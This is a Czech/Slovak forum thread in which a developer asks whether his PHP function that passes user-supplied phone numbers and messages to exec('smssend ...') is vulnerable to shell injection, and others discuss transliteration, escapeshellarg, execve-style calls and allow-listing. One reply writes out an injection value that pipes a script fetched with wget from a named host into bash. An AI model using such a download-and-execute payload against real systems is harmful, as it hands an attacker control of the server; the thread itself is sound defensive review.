Dotaz: Skontrolujte mi prosím bezpečnosť funkcie

[Peter]

Dobrý deň vám prajem.

Veľmi sprostá otázka a prosba, ale istota je guľomet. Budete taký dobrý a môžete mi skontrolovať prosím či táto funkcia nemá nejakú bezpečnostnú dieru, proste či nejakým spôsobom môže útočník zneužiť bash (keďže samozrejme vstup $Number a $Message je priamo od používateľa):

function smssend($Number,$Message) {                                                                                                                                 
  $Recode=array('ä'=>'a','Ä'=>'A','á'=>'a','Á'=>'A','à'=>'a','À'=>'A','ã'=>'a','Ã'=>'A','â'=>'a','Â'=>'A','č'=>'c','Č'=>'C','ć'=>'c','Ć'=>'C',                       
                'ď'=>'d','Ď'=>'D','ě'=>'e','Ě'=>'E','é'=>'e','É'=>'E','ë'=>'e','Ë'=>'E','è'=>'e','È'=>'E','ê'=>'e','Ê'=>'E','í'=>'i','Í'=>'I',                       
                'ï'=>'i','Ï'=>'I','ì'=>'i','Ì'=>'I','î'=>'i','Î'=>'I','ľ'=>'l','Ľ'=>'L','ĺ'=>'l','Ĺ'=>'L','ń'=>'n','Ń'=>'N','ň'=>'n','Ň'=>'N',                       
                'ñ'=>'n','Ñ'=>'N','ó'=>'o','Ó'=>'O','ö'=>'o','Ö'=>'O','ô'=>'o','Ô'=>'O','ò'=>'o','Ò'=>'O','õ'=>'o','Õ'=>'O','ő'=>'o','Ő'=>'O',                       
                'ř'=>'r','Ř'=>'R','ŕ'=>'r','Ŕ'=>'R','š'=>'s','Š'=>'S','ś'=>'s','Ś'=>'S','ť'=>'t','Ť'=>'T','ú'=>'u','Ú'=>'U','ů'=>'u','Ů'=>'U',                       
                'ü'=>'u','Ü'=>'U','ù'=>'u','Ù'=>'U','ũ'=>'u','Ũ'=>'U','û'=>'u','Û'=>'U','ý'=>'y','Ý'=>'Y','ž'=>'z','Ž'=>'Z','ź'=>'z','Ź'=>'Z');                      
  exec('smssend '.preg_replace('/[^0-9]/','',$Number).' "'.preg_replace('/[^0-9a-zA-Z\+\-\*\/\.\,\:\; ]/','',strtr($Message,$Recode)).'"');                          
}

Vopred vám veľmi pekne ďakujem za ochotu.

---

---

Odpovědi

[Fuky]

Pro převod na ASCII bych využíval standartní funkce dostupné v konkrétním prostředí:

PHP

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Příšerně žluťoučký kůň úpěl ďábelské ódy.");

Bash

$ echo "Příšerně žluťoučký kůň úpěl ďábelské ódy." |enca -C extern -E cstocs -x ascii -L cs_CZ
Priserne zlutoucky kun upel dabelske ody.

Python

$ echo "Příšerně žluťoučký kůň úpěl ďábelské ódy." |python -c 'import sys, unicodedata; print unicodedata.normalize("NFKD", sys.stdin.read().decode("utf-8")).encode("ascii", "ignore")'
Priserne zlutoucky kun upel dabelske ody.

Co se týče zneužití fce exec(), tak mě na první pohled nic nenapadá.

[Fuky]

Ještě by tě mohlo zajímat:

Exploitable PHP functions
Exploiting PHP PCRE Functions

[Josef Kufner]

Na volání shellu je nutné zadávané hodnoty escapovat, podobně jako v SQL. Použij funkci escapeshellarg:

exec('smssend '.escapeshellarg($number).' '.escapeshellarg($message));

[Fuky]

Podívej se na:

' "'.preg_replace('/[^0-9a-zA-Z\+\-\*\/\.\,\:\; ]/','',strtr($Message,$Recode)).'"'

Řekl bych, že tazatel si uvědomuje podstatu problému a zná fci escapeshellarg(), ale chce mít ve zprávě potencionálně nebezpečné znaky '*', ';' bez zpětného lomítka. A mě nenapadá, jak je v té jeho konstrukci zneužít, když začíná a končí řetězec pomocí uvozovek a zároveň podle mě nenechal k dispozici žádný znak, který by umožnil řetězec ukončit ze strany uživatele a provést spuštění vlastního příkazu. Nebo tě napadá nějaká konkrétní možnost zneužití?

[Fuky]

Teď mě napadá, tazatel ještě nezmínil jaké argumenty umožňuje přijímat program smssend, mmj. bych omezil velikost uživatelského vstupu na maximální požadovanou velikost zprávy.

Security issues with using PHP's escapeshellarg
Breaking escapeshellarg() news

[petr_p]

A proto je nejlepší shell z toho celého cirkusu vynechat. Obzvlášť, když netuší, jaký shell se vůbec použije (od toho se odvíjí escapovaní). Ten programovací jazyk (PHP?) nemá funkci na execve(2)?

[Josef Kufner]

Má: pcntl_exec. A máš pravdu, je to mnohem lepší řešení, jen to má takový drobný nedostatek: execve ani pcntl_exec neprohledává $PATH, což je celkem otrava.

Navíc pokud chceš pracovat s stdio onoho programu, je lepší použít funkci proc_open, která umí přesměrovávat všechny filedescriptory dle libosti. Ale tady se zas použije shell a s tím je potřeba i escapovat argumenty.

[petr_p]

Drobný nedostatek lze řešit posixovým execvp(3). (Jen je třeba pamatovat, že za neexistence proměnné PATH je chování nedefinováno; například glibc se pak dívá do pracovního adresáře.)

[pet]

V tom $Recode ti chybí mnoho znaků, např. ç a Ç. Použij raději standartní funkce jak doporučuje Fuky výše.

[Jendа]

Není, escapuješ diakritiku, ale já ti tam můžu napsat zprávu "; wget backdoor.hrach.eu -q -O - | bash;" a je to.

[z]

A je co? Prdlačky.

[Jendа]

Aha, dělá ještě preg_replace.

Doporučil bych to ale dělat naopak, tj. mít seznam povolených znaků, nikoli zakázaných. (no a nebo nejlíp ty jiné metody spouštění příkazu, které jsou výše)

[Fuky]

Zkus se podívat podrobněji na to co skutečně dělá kód tazatele a pak přehodnoť text svých příspěvků.